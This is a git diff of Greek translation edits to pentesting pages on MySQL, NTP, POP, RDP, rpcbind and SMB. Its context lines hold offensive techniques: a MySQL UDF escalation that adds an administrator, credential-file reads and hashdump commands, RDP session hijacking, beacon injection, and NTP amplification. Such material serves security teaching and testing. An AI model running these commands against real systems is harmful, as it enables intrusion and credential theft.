**`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL. -- Η **`password`** εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL. -- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική διεπαφή δικτύου. -- Η **`debug`** μεταβλητή είναι ενδεικτική των τρεχουσών ρυθμίσεων αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής. +- Η **`password`** εφαρμόζεται για την καθορισμό του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL. +- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου. +- Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής. - Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής. - Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας. -### Ανάβαση προνομίων +### Ανύψωση δικαιωμάτων ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -171,16 +171,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός πιο προνομιούχος χρήστης) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει το mysql. +If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql. -Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσετε μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα **`.so`** αρχεία είναι **linux** βιβλιοθήκες και τα **`.dll`** είναι οι **Windows**. Επιλέξτε αυτή που χρειάζεστε. +The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need. -Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **το μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**: +If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα: +Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε μέσα στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα: #### Linux ```sql @@ -216,11 +216,11 @@ SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Εξαγωγή διαπιστευτηρίων MySQL από αρχεία -Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε τον **καθαρό κωδικό πρόσβασης** του χρήστη **debian-sys-maint** +Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε τον **κωδικό πρόσβασης σε απλό κείμενο** του χρήστη **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` -Μπορείτε να **χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να συνδεθείτε στη βάση δεδομένων mysql**. +Μπορείτε **να χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να συνδεθείτε στη βάση δεδομένων mysql**. Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλους τους κατακερματισμούς των χρηστών MySQL** (αυτούς που μπορείτε να εξάγετε από mysql.user μέσα στη βάση δεδομένων)_._ @@ -590,7 +590,7 @@ Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). -https://book.hacktricks.xyz/pentesting/pentesting-mysql +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html Entry_2: Name: Nmap @@ -609,6 +609,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -​ - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index a0d3e8e2b..3e022cfcf 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -2,20 +2,20 @@ {{#include ../banners/hacktricks-training.md}} -## Βασικές Πληροφορίες +## Basic Information Το **Network Time Protocol (NTP)** διασφαλίζει ότι οι υπολογιστές και οι δικτυακές συσκευές σε δίκτυα με μεταβλητή καθυστέρηση συγχρονίζουν τις ρολόγια τους με ακρίβεια. Είναι ζωτικής σημασίας για τη διατήρηση ακριβούς χρονομέτρησης στις λειτουργίες IT, την ασφάλεια και την καταγραφή. Η ακρίβεια του NTP είναι ουσιώδης, αλλά ενέχει επίσης κινδύνους ασφαλείας αν δεν διαχειριστεί σωστά. -### Περίληψη & Συμβουλές Ασφαλείας: +### Summary & Security Tips: -- **Σκοπός**: Συγχρονίζει τις ρολόγια των συσκευών μέσω δικτύων. -- **Σημασία**: Κρίσιμη για την ασφάλεια, την καταγραφή και τις λειτουργίες. -- **Μέτρα Ασφαλείας**: +- **Purpose**: Συγχρονίζει τις ρολόγια των συσκευών μέσω δικτύων. +- **Importance**: Κρίσιμο για την ασφάλεια, την καταγραφή και τις λειτουργίες. +- **Security Measures**: - Χρησιμοποιήστε αξιόπιστες πηγές NTP με αυθεντικοποίηση. -- Περιορίστε την πρόσβαση στο δίκτυο του διακομιστή NTP. +- Περιορίστε την πρόσβαση στο δίκτυο του NTP server. - Παρακολουθήστε τον συγχρονισμό για σημάδια παρεμβολής. -**Προεπιλεγμένη θύρα:** 123/udp +**Default port:** 123/udp ``` PORT STATE SERVICE REASON 123/udp open ntp udp-response @@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1 [**Πώς Λειτουργεί η Επίθεση DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) -Το ** πρωτόκολλο NTP**, χρησιμοποιώντας UDP, επιτρέπει τη λειτουργία χωρίς την ανάγκη διαδικασιών χειραψίας, σε αντίθεση με το TCP. Αυτή η χαρακτηριστική εκμεταλλεύεται σε **επιθέσεις ενίσχυσης DDoS NTP**. Εδώ, οι επιτιθέμενοι δημιουργούν πακέτα με ψεύτικη διεύθυνση IP προέλευσης, κάνοντάς το να φαίνεται ότι τα αιτήματα επίθεσης προέρχονται από το θύμα. Αυτά τα πακέτα, αρχικά μικρά, προκαλούν τον διακομιστή NTP να απαντήσει με πολύ μεγαλύτερους όγκους δεδομένων, ενισχύοντας την επίθεση. +Το **πρωτόκολλο NTP**, χρησιμοποιώντας UDP, επιτρέπει τη λειτουργία χωρίς την ανάγκη διαδικασιών χειραψίας, σε αντίθεση με το TCP. Αυτή η χαρακτηριστική εκμεταλλεύεται σε **επιθέσεις ενίσχυσης DDoS NTP**. Εδώ, οι επιτιθέμενοι δημιουργούν πακέτα με ψεύτικη διεύθυνση IP προέλευσης, κάνοντάς το να φαίνεται ότι τα αιτήματα επίθεσης προέρχονται από το θύμα. Αυτά τα πακέτα, αρχικά μικρά, προκαλούν τον διακομιστή NTP να απαντήσει με πολύ μεγαλύτερους όγκους δεδομένων, ενισχύοντας την επίθεση. Η _**εντολή MONLIST**_, παρά τη σπάνια χρήση της, μπορεί να αναφέρει τους τελευταίους 600 πελάτες που συνδέθηκαν στην υπηρεσία NTP. Ενώ η εντολή αυτή είναι απλή, η κακή χρήση της σε τέτοιες επιθέσεις αναδεικνύει κρίσιμες ευπάθειες ασφαλείας. ```bash @@ -64,7 +64,7 @@ Description: Notes for NTP Note: | The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed. -https://book.hacktricks.xyz/pentesting/pentesting-ntp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md index 0dd5fe0cd..b3218fc2e 100644 --- a/src/network-services-pentesting/pentesting-pop.md +++ b/src/network-services-pentesting/pentesting-pop.md @@ -4,16 +4,16 @@ ## Basic Information -**Πρωτόκολλο Ταχυδρομείου (POP)** περιγράφεται ως ένα πρωτόκολλο στον τομέα του υπολογιστικού δικτύου και του Διαδικτύου, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση email από έναν απομακρυσμένο διακομιστή ταχυδρομείου**, καθιστώντας το προσβάσιμο στη τοπική συσκευή. Τοποθετημένο μέσα στην εφαρμογή του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν email. Η λειτουργία των **πελατών POP** περιλαμβάνει συνήθως τη δημιουργία σύνδεσης με τον διακομιστή ταχυδρομείου, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Αν και υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, **POP3** ξεχωρίζει ως η πιο διαδεδομένη έκδοση. +**Πρωτόκολλο Ταχυδρομείου (POP)** περιγράφεται ως ένα πρωτόκολλο στον τομέα του υπολογιστικού δικτύου και του Διαδικτύου, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση email από έναν απομακρυσμένο διακομιστή ταχυδρομείου**, καθιστώντας το προσβάσιμο στη τοπική συσκευή. Τοποθετημένο μέσα στην εφαρμογή του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν email. Η λειτουργία των **πελατών POP** περιλαμβάνει συνήθως τη δημιουργία σύνδεσης με τον διακομιστή ταχυδρομείου, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Αν και υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, **POP3** ξεχωρίζει ως η πιο ευρέως χρησιμοποιούμενη έκδοση. **Προεπιλεγμένες θύρες:** 110, 995(ssl) ``` PORT STATE SERVICE 110/tcp open pop3 ``` -## Αριθμητική +## Enumeration -### Συλλογή Μπανερ +### Banner Grabbing ```bash nc -nv 110 openssl s_client -connect :995 -crlf -quiet @@ -26,7 +26,7 @@ openssl s_client -connect :995 -crlf -quiet ```bash nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port #All are default scripts ``` -Ο plugin `pop3-ntlm-info` θα επιστρέψει κάποια "**ευαίσθητα**" δεδομένα (εκδόσεις Windows). +Ο `pop3-ntlm-info` plugin θα επιστρέψει κάποια "**ευαίσθητα**" δεδομένα (εκδόσεις Windows). ### [POP3 bruteforce](../generic-hacking/brute-force.md#pop) @@ -87,7 +87,7 @@ Description: Notes for POP Note: | Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version. -https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 77391d018..7c6d5b82d 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -40,7 +40,7 @@ rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` -### Έλεγχος γνωστών διαπιστευτηρίων για υπηρεσίες RDP +### Έλεγχος γνωστών διαπιστευτηρίων σε υπηρεσίες RDP rdp_check.py από το impacket σας επιτρέπει να ελέγξετε αν κάποια διαπιστευτήρια είναι έγκυρα για μια υπηρεσία RDP: ```bash @@ -50,7 +50,7 @@ rdp_check /:@ ### Κλοπή συνεδρίας -Με **δικαιώματα SYSTEM** μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε **ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου. +Με **δικαιώματα SYSTEM** μπορείτε να έχετε πρόσβαση σε οποιαδήποτε **ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου. **Λάβετε ανοιχτές συνεδρίες:** ``` @@ -60,11 +60,11 @@ query user ```bash tscon /dest: ``` -Τώρα θα βρίσκεστε μέσα στην επιλεγμένη συνεδρία RDP και θα έχετε μιμηθεί έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και δυνατότητες των Windows. +Τώρα θα βρίσκεστε μέσα στην επιλεγμένη συνεδρία RDP και θα έχετε την δυνατότητα να προσποιηθείτε έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και δυνατότητες των Windows. **Σημαντικό**: Όταν αποκτήσετε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε. -Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...) +Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στον δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...) #### **Mimikatz** @@ -77,11 +77,11 @@ ts::remote /id:2 #Connect to the session Συνδυάζοντας αυτή την τεχνική με **stickykeys** ή **utilman θα μπορέσετε να αποκτήσετε πρόσβαση σε ένα διοικητικό CMD και σε οποιαδήποτε RDP συνεδρία οποιαδήποτε στιγμή** -Μπορείτε να αναζητήσετε RDPs που έχουν υποστεί backdoor με μία από αυτές τις τεχνικές ήδη με: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Μπορείτε να αναζητήσετε RDPs που έχουν παραβιαστεί με μία από αυτές τις τεχνικές ήδη με: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection -Αν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε Admin**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του: +Αν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε διαχειριστής**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του και να ενεργήσετε ως αυτός: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -116,7 +116,7 @@ Description: Notes for RDP Note: | Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. -https://book.hacktricks.xyz/pentesting/pentesting-rdp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 9f501f74d..92f74366f 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -2,10 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - ## Basic Information -**Portmapper** είναι μια υπηρεσία που χρησιμοποιείται για την αντιστοίχιση θυρών υπηρεσιών δικτύου σε αριθμούς προγράμματος **RPC** (Remote Procedure Call). Λειτουργεί ως κρίσιμος παράγοντας σε **Unix-based systems**, διευκολύνοντας την ανταλλαγή πληροφοριών μεταξύ αυτών των συστημάτων. Η **θύρα** που σχετίζεται με το **Portmapper** σαρώνεται συχνά από επιτιθέμενους καθώς μπορεί να αποκαλύψει πολύτιμες πληροφορίες. Αυτές οι πληροφορίες περιλαμβάνουν τον τύπο του **Unix Operating System (OS)** που εκτελείται και λεπτομέρειες σχετικά με τις υπηρεσίες που είναι διαθέσιμες στο σύστημα. Επιπλέον, το **Portmapper** χρησιμοποιείται συνήθως σε συνδυασμό με **NFS (Network File System)**, **NIS (Network Information Service)** και άλλες **RPC-based services** για την αποτελεσματική διαχείριση υπηρεσιών δικτύου. +**Portmapper** είναι μια υπηρεσία που χρησιμοποιείται για την αντιστοίχιση θυρών υπηρεσιών δικτύου σε αριθμούς προγράμματος **RPC** (Remote Procedure Call). Λειτουργεί ως κρίσιμος παράγοντας σε **Unix-based systems**, διευκολύνοντας την ανταλλαγή πληροφοριών μεταξύ αυτών των συστημάτων. Η **θύρα** που σχετίζεται με το **Portmapper** σαρώνεται συχνά από επιτιθέμενους καθώς μπορεί να αποκαλύψει πολύτιμες πληροφορίες. Αυτές οι πληροφορίες περιλαμβάνουν τον τύπο του **Unix Operating System (OS)** που εκτελείται και λεπτομέρειες σχετικά με τις υπηρεσίες που είναι διαθέσιμες στο σύστημα. Επιπλέον, το **Portmapper** χρησιμοποιείται συνήθως σε συνδυασμό με **NFS (Network File System)**, **NIS (Network Information Service)** και άλλες **RPC-based services** για την αποτελεσματική διαχείριση των υπηρεσιών δικτύου. **Default port:** 111/TCP/UDP, 32771 in Oracle Solaris ``` @@ -27,7 +26,7 @@ nmap -sSUC -p111 192.168.10.1 ## RPCBind + NFS -Αν βρείτε την υπηρεσία NFS τότε πιθανότατα θα μπορείτε να καταγράψετε και να κατεβάσετε (και ίσως να ανεβάσετε) αρχεία: +Αν βρείτε την υπηρεσία NFS τότε πιθανότατα θα μπορέσετε να καταγράψετε και να κατεβάσετε (και ίσως να ανεβάσετε) αρχεία: ![](<../images/image (872).png>) @@ -39,7 +38,7 @@ nmap -sSUC -p111 192.168.10.1 ![](<../images/image (859).png>) -Το ταξίδι της εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση του `ypwhich` για να επιβεβαιωθεί η παρουσία του διακομιστή NIS, κάνοντάς του ping με το όνομα τομέα και τη διεύθυνση IP του διακομιστή, διασφαλίζοντας ότι αυτά τα στοιχεία είναι ανώνυμα για λόγους ασφαλείας. +Το ταξίδι της εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση του `ypwhich` για να επιβεβαιωθεί η παρουσία του NIS server, κάνοντάς του ping με το όνομα τομέα και τη διεύθυνση IP του server, διασφαλίζοντας ότι αυτά τα στοιχεία είναι ανώνυμα για λόγους ασφαλείας. Το τελικό και κρίσιμο βήμα περιλαμβάνει την εντολή `ypcat` για την εξαγωγή ευαίσθητων δεδομένων, ιδιαίτερα κωδικών πρόσβασης χρηστών που είναι κρυπτογραφημένοι. Αυτοί οι κατακερματισμοί, μόλις σπάσουν χρησιμοποιώντας εργαλεία όπως το **John the Ripper**, αποκαλύπτουν πληροφορίες σχετικά με την πρόσβαση στο σύστημα και τα προνόμια. ```bash @@ -69,7 +68,7 @@ ypcat –d –h passwd.byname ## Παράκαμψη Φιλτραρισμένου Portmapper port -Όταν διεξάγετε μια **σάρωση nmap** και ανακαλύπτετε ανοιχτές θύρες NFS με την θύρα 111 να είναι φιλτραρισμένη, η άμεση εκμετάλλευση αυτών των θυρών δεν είναι εφικτή. Ωστόσο, με την **προσομοίωση μιας υπηρεσίας portmapper τοπικά και τη δημιουργία ενός τούνελ από τη μηχανή σας** προς τον στόχο, η εκμετάλλευση γίνεται δυνατή χρησιμοποιώντας τυπικά εργαλεία. Αυτή η τεχνική επιτρέπει την παράκαμψη της φιλτραρισμένης κατάστασης της θύρας 111, επιτρέποντας έτσι την πρόσβαση στις υπηρεσίες NFS. Για λεπτομερείς οδηγίες σχετικά με αυτή τη μέθοδο, ανατρέξτε στο άρθρο που είναι διαθέσιμο [σε αυτόν τον σύνδεσμο](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc). +Κατά τη διάρκεια ενός **nmap scan** και ανακαλύπτοντας ανοιχτές θύρες NFS με την θύρα 111 να είναι φιλτραρισμένη, η άμεση εκμετάλλευση αυτών των θυρών δεν είναι εφικτή. Ωστόσο, με την **προσομοίωση μιας υπηρεσίας portmapper τοπικά και τη δημιουργία ενός τούνελ από τη μηχανή σας** προς τον στόχο, η εκμετάλλευση γίνεται δυνατή χρησιμοποιώντας τυπικά εργαλεία. Αυτή η τεχνική επιτρέπει την παράκαμψη της φιλτραρισμένης κατάστασης της θύρας 111, επιτρέποντας έτσι την πρόσβαση στις υπηρεσίες NFS. Για λεπτομερείς οδηγίες σχετικά με αυτή τη μέθοδο, ανατρέξτε στο άρθρο που είναι διαθέσιμο [σε αυτόν τον σύνδεσμο](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc). ## Shodan @@ -91,7 +90,7 @@ Description: Notes for PortMapper Note: | Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively. -https://book.hacktricks.xyz/pentesting/pentesting-rpcbind +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html Entry_2: Name: rpc info diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index fc75379e0..87ec7d7ed 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,13 +4,13 @@ ## **Port 139** -Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορεί να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που ενεργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που ενεργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**. +Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορούν να έχουν μήκος έως 16 χαρακτήρες και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που λειτουργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που λειτουργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Τεχνικά, το Port 139 αναφέρεται ως ‘NBT over IP’, ενώ το Port 445 αναγνωρίζεται ως ‘SMB over IP’. Το ακρωνύμιο **SMB** σημαίνει ‘**Server Message Blocks**’, το οποίο είναι επίσης σύγχρονα γνωστό ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο. +Τεχνικά, η Θύρα 139 αναφέρεται ως ‘NBT over IP’, ενώ η Θύρα 445 αναγνωρίζεται ως ‘SMB over IP’. Το ακρωνύμιο **SMB** σημαίνει ‘**Server Message Blocks**’, το οποίο είναι επίσης σύγχρονα γνωστό ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο. Για παράδειγμα, στο πλαίσιο των Windows, τονίζεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίθετα, σε διάφορα συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με το NetBIOS πάνω από TCP/IP. ``` @@ -18,7 +18,7 @@ ``` ### SMB -Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε ένα **client-server** μοντέλο, έχει σχεδιαστεί για να ρυθμίζει την **πρόσβαση σε αρχεία**, καταλόγους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως μέσα στη σειρά λειτουργικών συστημάτων **Windows**, το SMB διασφαλίζει την οπισθοδρομική συμβατότητα, επιτρέποντας στις συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που εκτελούν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω του SMB. +Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε μοντέλο **client-server**, έχει σχεδιαστεί για να ρυθμίζει την **πρόσβαση σε αρχεία**, καταλόγους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως μέσα στη σειρά λειτουργικών συστημάτων **Windows**, το SMB εξασφαλίζει συμβατότητα με παλαιότερες εκδόσεις, επιτρέποντας στις συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω του SMB. Οι κοινές χρήσεις, που αντιπροσωπεύουν **τυχαία μέρη του τοπικού συστήματος αρχείων**, 